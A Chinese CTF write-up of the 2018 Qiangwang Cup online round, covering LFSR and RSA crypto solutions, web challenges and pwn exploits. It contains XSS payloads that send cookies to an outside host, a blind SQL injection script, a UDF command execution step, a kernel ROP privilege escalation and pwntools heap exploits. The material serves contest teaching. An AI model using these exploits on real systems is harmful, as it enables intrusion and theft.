强网杯 2018 线上赛 CNSS Writeup


最后勉强打进线下赛。整合一波本次强网杯 2018 的 CNSS 线上赛 Wp。

Misc


Welcome

丢进 stegsolve,选择隐写分析,讲图片分成两份,其中一份右移 100 像素可以看到 flag

QWB{W3lc0me}


Crypto


streamgame1

因为给出了 key,而明文空间较小,所以写脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b1111111111111111111
mask = 0b1010011000100011100
key = [0x55,0x38,0xF7,0x42,0xC1,0x0D,0xB2,0xC7,0xED,0xE0,0x24,0x3A]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag

flag{1110101100001101011}


streamgame2

flag 长了一点但是可以接受,还是爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b111111111111111111111
mask = 0x100002
key = [0xB2,0xE9,0x0E,0x13,0xA0,0x6A,0x1B,0xFC,0x40,0xE6,0x7D,0x53]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag

flag{110111100101001101001}


streamgame3

查了资料像是一个魔改的 A5 算法,single_round中有一个逻辑表达式(x1*x2)^((x2^1)*x3),真值表如下:

x1 x2 x3 v
0 0 0 0
0 0 1 1
0 1 0 0
0 1 1 0
1 0 0 0
1 0 1 1
1 1 0 1
1 1 1 1

经观察,x1 == x3 的时候,v = x1 = x3。R1,R2,R3 相互独立,三个 mask 参数为常数值。又因为有两个 assert 限制了 R1 和 R3 的长度分别为 4 和 5 位十六进制位,故先尝试爆破 R1 和 R3。脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def read2bin(s):
res = ""
for i in s[0:64*1024]:
x = str(bin(ord(i)))[2:]
res = res + "0"*(8-len(x)) + x
return res

def lfsr(R,mask):
i = R & mask
res = 0
while i != 0:
i &= (i-1)
res += 1
lastbit = res % 2
output = ((R << 1) & 0xffffff) ^ lastbit
return (output,lastbit)

def single_round(R1,R3):
(R1_NEW,x1)=lfsr(R1,0x10020)
(R3_NEW,x3)=lfsr(R3,0x100002)
return (R1_NEW,R3_NEW,x1,x3)

def work(flag, flagi, flagj, std):
R1=0x10000+flagi
R3=0x100000+flagj
res=""
x1=""
x3=""
sign=True
for i in range(0,len(std)):
(R1,R3,x1,x3) = single_round(R1,R3)
if x1 == x3 and str(x1) != str(std[i]):
sign = False
break
if sign:
print("Success!"+flag)

fl = open('0', 'rb')
std = read2bin(str(fl.read(),encoding="latin1"))
fl.close()

print("Read STD : %s..."%std[0:24])
print("Read STD Len: %d"%len(std))

outputinterval = 0x1000

for i in range(0xb9cb,0x10000)[proc_id::nthread]:
if i % outputinterval == 0:
print("Testing: flag{01"+"%04x"%i+"******"+"1?????}")
for j in range(0x6b2f3,0x100000):
flag = "flag{01"+"%04x"%i+"******"+"1"+"%05x"%j+"}"
work(flag, i, j, std)

其中优化了一部分 lfsr 的运算,去掉了 R2 的部分,又加了多线程还是跑了很久,终于得到了 flag 的 R1 和 R3 部分:flag{01b9cb******16b2f3}

然后爆破中间五位,核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def work(flag, flagR2, std):
R1=0x1b9cb
R2=flagR2
R3=0x16b2f3
sign=True
x1=""
x3=""
for i in range(0,len(std)):
(R1,R2,R3,out,x1,x3) = single_round(R1,R2,R3)
if str(out) != str(std[i]):
# print("%s failed at pos=%d, out=%d, std=%c, x1=%d, x3=%d"%(flag,i,out,std[i],x1,x3))
sign = False
break
if sign:
print("Success!"+flag)

for i in range(1<<18,1<<19)[proc_id::nthread]:
flag = "flag{01b9cb"+"%06x"%i+"16b2f3}"
work(flag, i, std)

得到 flag: flag{01b9cb05979c16b2f3}


streamgame4

还是直接爆破,这里的 key 验证前 12 字节足矣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def nlfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
changesign=True
while i!=0:
if changesign:
lastbit &= (i & 1)
changesign=False
else:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
flag = 0b111111111111111111111
mask = 0b110110011011001101110
key = [0xd1, 0xd9, 0x40, 0x43, 0x93, 0x53, 0x1e, 0x5e, 0x4d, 0xc7, 0xd0, 0xca]
while flag > 0:
f = []
R = flag
for i in range(12):
tmp=0
for j in range(8):
(R,out)=nlfsr(R,mask)
tmp=(tmp << 1)^out
f.append(tmp)
if key == f:
print "Flag:", flag
break
flag -= 1
if flag % 10000 == 0:
print "Processing:", flag
flag{100100111010101101011}


nextrsa

Level 1

n 很小,可以直接分解

Level 2

n, e 非常大,猜测是低解密指数攻击(d 很小),用 Wiener attack(https://github.com/pablocelayes/rsa-wiener-attack)

Level 3

e = 3, M = m + x, m 和 c 已知,x 为 64bit 内的小整数。

因为已经知道了 M 的高位,所以直接 Coppersmith method 攻击。核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x) ^ e - c
dd = f.degree()
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print roots
## coppersmith_howgrave_univariate 函数来自于 https://github.com/mimoo/RSA-and-LLL-attacks

Level 4

已知 n=p×q,z=nextprime(p)×nextprime(q)

枚举 \(\Delta p\), \(\Delta q\), 则有方程

\(pq=n\)

\((p+\Delta p)(q+\Delta q)=z\)

可以化简得一个关于 p(或 q)的一元二次方程

\(\Delta p \cdot q^2+(n+\Delta p\cdot \Delta q-z)q+\Delta q\cdot n=0\)

然后验证\(\Delta=b^2-4ac\)能否开根,以及验证两个方程解是否为正整数就行了。根据素数密度\(\pi(n) \sim n \ln n\)\(\Delta\) 不会太大,最终解出来也就 1000 多。核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def work(i, j):
A = i
B = n + i * j - z
C = j * n
delta = B * B - 4 * A * C
if delta < 0:
return
root_delta = root2(delta) ## 开平方根
if root_delta == -1:
return
for k in range(-1, 2, 2):
top = -B + k * root_delta
if top % (A << 1) == 0:
q = top // (A << 1)
if q > 0 and n % q == 0:
print("p:", n // q)
print("q:", q)
exit(0)
for ma in range(1, 100000):
for i in range(1, ma + 1):
work(i, ma)
print(ma, "Finished")

Level 5

n 含有小因子,直接 yafu 暴力分解

Level 6

\(m^3 = c + kn\)。爆破 k 尝试开三次根,最终的 k 大概 70000+。核心代码:

1
2
3
4
5
6
while True:
res = root3(c) ## 开三次根
if res != -1:
print(res)
break
c += n

Level 7

n1, n2 含有公因子,所以直接 gcd(n1, n2) 得到公共因子

Level 8

共模攻击,扩展欧几里得解 \(xe_1+ye_2=1\),然后就有\(c1^xc2^y\equiv m^{xe_1+ye_2} \equiv m\),所以有 m = pow(c1, x, n) * pow(c2, y, n) % n,要注意一下 x, y 的正负号,如果为负数,则对对应的 c 取模 n 意义下的逆元。核心代码:

1
2
3
4
5
6
7
8
9
10
g, x, y = ex_gcd(e1, e2)
if x < 0:
c1 = inv(c1, n)
x = -x
if y < 0:
c2 = inv(c2, n)
y = -y
print(e1, e2)
print(x, y)
print(hex(pow(c1, x, n) * pow(c2, y, n) % n))

Level 9

e=3,低指数加密,给了三组样本,所以直接中国剩余定理合并同余式子,最后开三次根就行。核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
def china_remain(eq):
A = 0
M = 1
for x in eq:
M *= x[1]
for ai, mi in eq:
Mi = M // mi
g, Mi_inv, k = ex_gcd(Mi, mi)
A = (A + ai * Mi_inv * Mi) % M
return [A, M]

res = china_remain([(c1, n1), (c2, n2), (c3, n3)])
print(hex(root3(res[0])))

flag{s1mp13_rs4_f0r_y0u_+_h4pp9_f0r_qwb}


Web


Web签到

两个 php 小技巧和一个 md5 碰撞

第一个利用 0e 开头 md5 值 bypass

第二个用数组 bypass

第三个去找一个真正的 md5 碰撞,python 写脚本发包即可

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from binascii import unhexlify

data1 = {
"param1": "QNKCDZO",
"param2": "240610708"
}

data2 = {
"param1[]": "1",
"param2[]": "2"
}

data3 = {
"param1": b'Oded Goldreich\nOded Goldreich\nOded Goldreich\nOded Go' + unhexlify('d8050d0019bb9318924caa96dce35cb835b349e144e98c50c22cf461244a4064bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf67c12978647f5af123de3acf844085cd025b956'),
"param2": b'Neal Koblitz\nNeal Koblitz\nNeal Koblitz\nNeal Koblitz\n' + unhexlify('75b80e0035f3d2c909af1baddce35cb835b349e144e88c50c22cf461244a40e4bf1afaecc5820d428ad38d6bec89a5ad51e29063dd79b16cf6fc11978647f5af123de3acf84408dcd025b956')
}

url = "http://39.107.33.96:10000/index.php"

u = req`uests.session()

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data1)
print(s.text)

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data2)
print(s.text)

s = u.get(url)
print(s.text.partition("<h2>")[2].partition("</h2>")[0])
s = u.post(url, data = data3)
print(s.text)

运行脚本得到 flag:

QWB{s1gns1gns1gnaftermd5}


Share your mind

可以看到有一个 js 文件是相对路径导入的
利用 RPO 构造 XSS
写一个 alert(/xss/)

部分字符会被 HTML 编码 用 String.fromCharCode 可以绕过
打一下 admin 的 cookie

1
document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));
http://39.107.33.96:20000/index.php/view/article/31568/..%2f..%2f..%2f
直接把链接 Report 过去就有回显
得到一个 HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

写一个 iframe src 过去读 cookie 就能获得 flag

1
var iframe = document.createElement('iframe'); iframe.src="/QWB_fl4g/QWB/"; document.body.appendChild(iframe); iframe.onload = function(){window.location.href="http://mitah.cn/evil.php?c="+iframe.contentWindow.document.cookie;};
1
document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 118, 97, 114, 32, 105, 102, 114, 97, 109, 101, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 102, 114, 97, 109, 101, 34, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 115, 114, 99, 61, 34, 47, 81, 87, 66, 95, 102, 108, 52, 103, 47, 81, 87, 66, 47, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 102, 114, 97, 109, 101, 41, 59, 32, 105, 102, 114, 97, 109, 101, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 58, 47, 47, 109, 105, 116, 97, 104, 46, 99, 110, 47, 101, 118, 105, 108, 46, 112, 104, 112, 63, 99, 61, 34, 43, 105, 102, 114, 97, 109, 101, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 125, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));
http://39.107.33.96:20000/index.php/view/article/31663/..%2f..%2f..%2f Repost 链接过去 就能收到 cookie 即 flag

QWB{flag_is_f43kth4rpo}


Three hit

二次注入 / 盲注,注入点在 age
注册的时候 age 被 is_numeric 了
可以 hexlify 一下绕过
跑一下脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import hashlib
import requests
import re
import random
import time
import threading
import binascii


def md5(msg):
return hashlib.md5(msg.encode()).hexdigest()

log = "http://39.107.32.29:10000/index.php?func=login"
reg = "http://39.107.32.29:10000/index.php?func=register"
pro = "http://39.107.32.29:10000/profile.php"

def register():
usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
s = requests.session()
s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
return [usr, "werewr123"]


def a(payload):
usr = "".join(random.sample("abcdefghijklmnopqrstuvwxyz", 13))
s = requests.session()
## print('[Session start]')
s.post(reg, data={'username': usr, 'password': "werewr123", 'age': payload})
## print("[Registered]")
s.post(log, data={'username': usr, 'password': "werewr123"})
## print("[Log in]")
return s.get(pro).text


def two(ind, cont, pos, result):
print("[pos %d start]" % pos)
payload = "1234567889 and 1=if((ord(substr(({}),{},1)))>{},1,0)"
l = 33
r = 127
while l < r:
mid = (l + r) >> 1
text = a("0x" + str(binascii.hexlify(payload.format(cont, pos, mid).encode()).decode()))
if 'is also in age' in text:
l = mid + 1
else:
r = mid
result[pos] = chr(l)
print("[pos %d end]" % pos)


def sqli(cont):
print("[Start]")
sz = 40
res = [''] * (sz + 1)
t = [None] * sz
for i in range(1, sz + 1):
if i > sz:
t[i % sz].join()
t[i % sz] = threading.Thread(target=two, args=(i, cont, i, res))
t[i % sz].start()
for th in t:
th.join()
return "".join(res)


## db = sqli("SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata")
## print(db)
## qwb

## table = sqli("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='qwb'")
## print(table)
## flag,users

## col = sqli("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flag'")
## print(col)
## flag

## res = sqli("select group_concat(flag) from flag")
## print(res)
## QWB{M0b4iDalao0rz0rz}

QWB{M0b4iDalao0rz0rz}


彩蛋

首先 web.xml 找到

http://106.75.97.46:8080/phrackCTF/druid/

并附上登录帐号: admin, 密码: SgK1xfVxTk

登录进去, 发现数据库帐号密码, 远程连接

psql --host=106.75.97.46 --username=postgres --no-password

拿到数据库, udf 提权, 在根目录找到 flag

select sys_eval("cat /flag_is_here");

拿到flag

QWB{jarv1s0j13p5ettyg006}


Python is the best language 1

注册登录进去, input 的框可以注入, 理论上可以脚本跑, 但是平台卡成狗, 就直接手跑了

payload:

1'+ord(substr((select fllllllag from flaaaaaag),1,1))+'1

哪个表哪个列不记得了, flag

QWB{us1ng_val1dator_caut1ous}


PWN


core

开了 kaslr,没开 smep,但是在 /tmp 目录下有个诡异的文件,可以泄露内核函数地址,然后 copy 那里长度为负数会溢出,read 函数会 leak 模块的 canary,所以直接 rop 就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>


#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

#define u64 unsigned long long

unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void get_shell()
{
system("/bin/sh");
}

u64 prepare_kernel_cred_addr = 0x0;//0xffffffff8109cce0;
u64 commit_creds_addr = 0x0;//0xffffffff8109c8e0;
void set_uid()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}

u64 rop[] = {

// padding
0xdeadbeefdeadbeef, //0
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef,
0xdeadbeefdeadbeef, //7

0x0, // canary
0xdeadbeefdeadbeef, //rbp
0x6161616161616161, // 10 ret addr
0x0, // uid ret addr
0x0, // padding
0x0, // leakd addr ? 13
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};

int main(int argc,char** argv)
{
sscanf(argv[1],"%llx",&prepare_kernel_cred_addr);
sscanf(argv[2],"%llx",&commit_creds_addr);
char s[100];
char* leak = (char*)malloc(1024);
int fd = open("/proc/core",O_RDWR);
ioctl(fd,COMMAND_PRINT,0x40);
ioctl(fd,COMMAND_READ,leak);
u64 canary = ((u64*)leak)[0];
u64 ret_addr = ((u64*)leak)[2];
//printf("leak ret addr %llu\n",canary);
rop[8] = canary;
rop[10] = &set_uid;
rop[11] = ret_addr - 0xc5;
rop[12] = &s - 0x100;

u64 iret_addr = prepare_kernel_cred_addr - 311838;
save_state();
rop[13] = iret_addr;
rop[14] = &get_shell;
rop[15] = user_cs;
rop[16] = user_rflags;
rop[17] = &s - 0x100;
rop[18] = user_ss;
write(fd,rop,1024);
ioctl(fd,COMMAND_COPY,0x8000000000000100);

return 0;
}


raisepig

fastbin attack 修改 topchunk,把它改到 free_hook 附近,通过申请内存修改 free_hook getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os

## 调试模式 会使用gdb联调
DEBUG = 0

## 啰嗦模式
VERBOSE = 1

## 0 local 1 remote 2 attack
MODE = 1

## 程序名
PROGRAM_NAME = './raisepig'

## libc
REMOTE_LIBC = True

## 地址
IP = '39.107.32.132'

PORT = 9999
#IP = '127.0.0.1'
#PORT = 17001

## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

## 是否开启 aslr
context.aslr = True


## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club

## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0



def set_breakpoint(breakpoint_list, pie=False):
'''生成设置断点的命令'''
ret = ''
offset = 0
if pie is True:
if context.aslr is True:
return ''
if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
offset = 0x555555554000
elif context.arch == 'i386': ## 32位为0x56555000
offset = 0x56555000
for breakpoint in breakpoint_list:
ret += 'b *%d\n' % (breakpoint + offset)
return ret


def raise_pig(program, size, s, pig_type='a!\n'):
program.recvuntil('Your choice : ')
program.sendline('1')
program.recvuntil('Length of the name :')
program.sendline(str(size))
program.recvuntil('The name of pig :')
program.send(s)
program.recvuntil('The type of the pig :')
program.send(pig_type)

def visit_pigs(program):
program.recvuntil('Your choice : ')
program.sendline('2')

def eat_pig(program, idx):
program.recvuntil('Your choice : ')
program.sendline('3')
program.recvuntil('Which pig do you want to eat:')
program.sendline(str(idx))




def get_shell(ip='', port=0):
## 设置断点

breakpoint = set_breakpoint([0x400D8C], pie=False)
breakpoint = ''
gdbscript = breakpoint + 'c\n'
if VERBOSE:
context.log_level = 'debug'

global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
if REMOTE_LIBC:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}

system_offset = 0x45390
_IO_list_all_offset = 0x3c5520
__malloc_hook_offset = 0x3c4b10
__free_hook_offset = 0x3c67a8
one_gadget_offset =0x04523E
libc_ptr_offset = 0x3c4b31
heap_ptr_offset = 0x240
fastbin_0x70_offset = 0x30
main_arena_offset = 0x3c4b20
else:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
env = {}

system_offset = 0x456a0
_IO_list_all_offset = 0x3c2500
__malloc_hook_offset = 0x3c1af0
__free_hook_offset = 0x3c3788
one_gadget_offset = 0x0F24CB
libc_ptr_offset = 0x3c1b31
heap_ptr_offset = 0x240
main_arena_offset = 0x3c1b00
fastbin_0x70_offset = 0x30




if MODE == 0:
if DEBUG:
## debug
program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
## 等待输入后继续运行
raw_input('')
## gdb.attach(program)
else:
## 直接运行程序
program = process((PROGRAM_NAME, ), env=env)
else:
## 远程
program = remote(ip, port)

raise_pig(program, 0x28, '1') ## 0
raise_pig(program, 130, '1') ## 1
raise_pig(program, 1, '1') ## 2
eat_pig(program, 0)
eat_pig(program, 1)
raise_pig(program, 130, '1') ## 3
visit_pigs(program)
program.recvuntil('Name[3] :')
libc_ptr = u64(program.recvuntil('\n')[:-1].ljust(8, '\x00'))
libc_addr = libc_ptr - libc_ptr_offset
log.info('libc_addr=0x%x' % libc_addr)
raise_pig(program, 0x68, '1') ## 4
raise_pig(program, 0x68, '1') ## 5
eat_pig(program, 4)
eat_pig(program, 5)
eat_pig(program, 4)
raise_pig(program, 0x68, p64(0x40)) ## 6
raise_pig(program, 0x68, '1') ## 7
raise_pig(program, 0x68, '1') ## 8
raise_pig(program, 0x100, '/bin/sh\x00') ## 9


raise_pig(program, 0x38, '1') ## 10
raise_pig(program, 0x38, '1') ## 11
eat_pig(program, 10)
eat_pig(program, 11)
eat_pig(program, 10)
raise_pig(program, 0x38, p64(libc_addr + main_arena_offset + fastbin_0x70_offset - 0x8)) ## 12
raise_pig(program, 0x38, '1') ## 13
raise_pig(program, 0x38, '1') ## 14
log.info('0x%x' % (libc_addr + main_arena_offset))
log.info('0x%x' % (libc_addr))
log.info('0x%x' % (main_arena_offset))
raise_pig(program, 0x38, '\x00'*0x20 + p64(libc_addr + __free_hook_offset - 0xb58)) ## 15


size = 0xb58
while size > 0x3b0 + 0x30:
size -= 0x3b0 + 0x30
raise_pig(program, 0x3a8, '1')
log.info(hex(size)) ## size=0x318
raise_pig(program, size-0x30, '\x00'*(size- 0x30 - 0x10) + p64(system_offset + libc_addr)) ## 13
raw_input()
eat_pig(program, 9)
#raise_pig(program, size, '1') ## 15

return program

def main():
if MODE == 0: ## local
program = get_shell()
program.interactive()
elif MODE == 1: ## remote
program = get_shell(ip=IP, port=PORT)
#program = get_shell(ip='127.0.0.1', port=17001)

program.interactive()

elif MODE == 3: ## 取回二进制文件
program = get_shell(ip=IP, port=PORT)
program.recv(timeout=1)
program.sendline('cat pwn2')
program.sendline('exit')

recv_data = program.recvall()
fp = open('dump', 'wb')
fp.write(recv_data)
fp.close()



if __name__ == '__main__':
main()
qwbctf{ok_now_you_know_how2_raise_a_pig}


silent

fastbin attack 修改 got 表.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/usr/bin/env python2
## -*- coding: utf-8 -*- #
from pwn import *
import time
import os

## 调试模式 会使用gdb联调
DEBUG = 0

## 啰嗦模式
VERBOSE = 1

## 0 local 1 remote 2 attack
MODE = 0

## 程序名
PROGRAM_NAME = './silent'

## libc
REMOTE_LIBC = False

## 地址
IP = '39.107.32.132'

PORT = 10000
#IP = '127.0.0.1'
#PORT = 17001

## gdb调试配置 根据机器更改
## context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

## 是否开启 aslr
context.aslr = True


## export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
## LD_PRELOAD
## socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club

## 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0



def set_breakpoint(breakpoint_list, pie=False):
'''生成设置断点的命令'''
ret = ''
offset = 0
if pie is True:
if context.aslr is True:
return ''
if context.arch == 'amd64': ## 64位下gdb关闭aslr后基址为 0x555555554000
offset = 0x555555554000
elif context.arch == 'i386': ## 32位为0x56555000
offset = 0x56555000
for breakpoint in breakpoint_list:
ret += 'b *%d\n' % (breakpoint + offset)
return ret


def get_chunk(program, size, s):
program.sendline('1')
program.sendline(str(size))
program.sendline(s.ljust(size - 2, 'a'))

def free_chunk(program, idx):
program.sendline('2')
program.sendline(str(idx))

def edit_chunk(program, idx, s, bss_s='/bin/sh\x00'):
program.sendline('3')
program.sendline(str(idx))
program.send(s)
program.sendline(bss_s.ljust(48 - 2, '\x00'))





def get_shell(ip='', port=0):
## 设置断点

breakpoint = set_breakpoint([0x400D8C], pie=False)
breakpoint = ''
gdbscript = breakpoint + 'c\n'
if VERBOSE:
context.log_level = 'debug'

global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
if REMOTE_LIBC:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}

system_offset = 0x45390
_IO_list_all_offset = 0x3c5520
__malloc_hook_offset = 0x3c4b10
__free_hook_offset = 0x3c67a8
one_gadget_offset =0x04523E
libc_ptr_offset = 0x3c4b31
heap_ptr_offset = 0x240
fastbin_0x70_offset = 0x30
main_arena_offset = 0x3c4b20
else:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
env = {}

system_offset = 0x456a0
_IO_list_all_offset = 0x3c2500
__malloc_hook_offset = 0x3c1af0
__free_hook_offset = 0x3c3788
one_gadget_offset = 0x0F24CB
libc_ptr_offset = 0x3c1b31
heap_ptr_offset = 0x240
main_arena_offset = 0x3c1b00
fastbin_0x70_offset = 0x30




if MODE == 0:
if DEBUG:
## debug
program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
## 等待输入后继续运行
raw_input('')
## gdb.attach(program)
else:
## 直接运行程序
program = process((PROGRAM_NAME, ), env=env)
else:
## 远程
program = remote(ip, port)


get_chunk(program, 0x68, 'a') ## 0
get_chunk(program, 0x68, 'a') ## 1
free_chunk(program, 0)
free_chunk(program, 1)
free_chunk(program, 0)

gdb.attach(program)
raw_input()

edit_chunk(program, 0, '\x9d\x20\x60\x00') ## stderr p64(0x6020a0 + 5 - 8) 0x60209d
get_chunk(program, 0x68, 'a') ## 2
get_chunk(program, 0x68, '\x00'*19 + p64(0x602018) + p64(0x0602120) + '\x00'*4*10) ## 4
#gdb.attach(program)
raw_input()
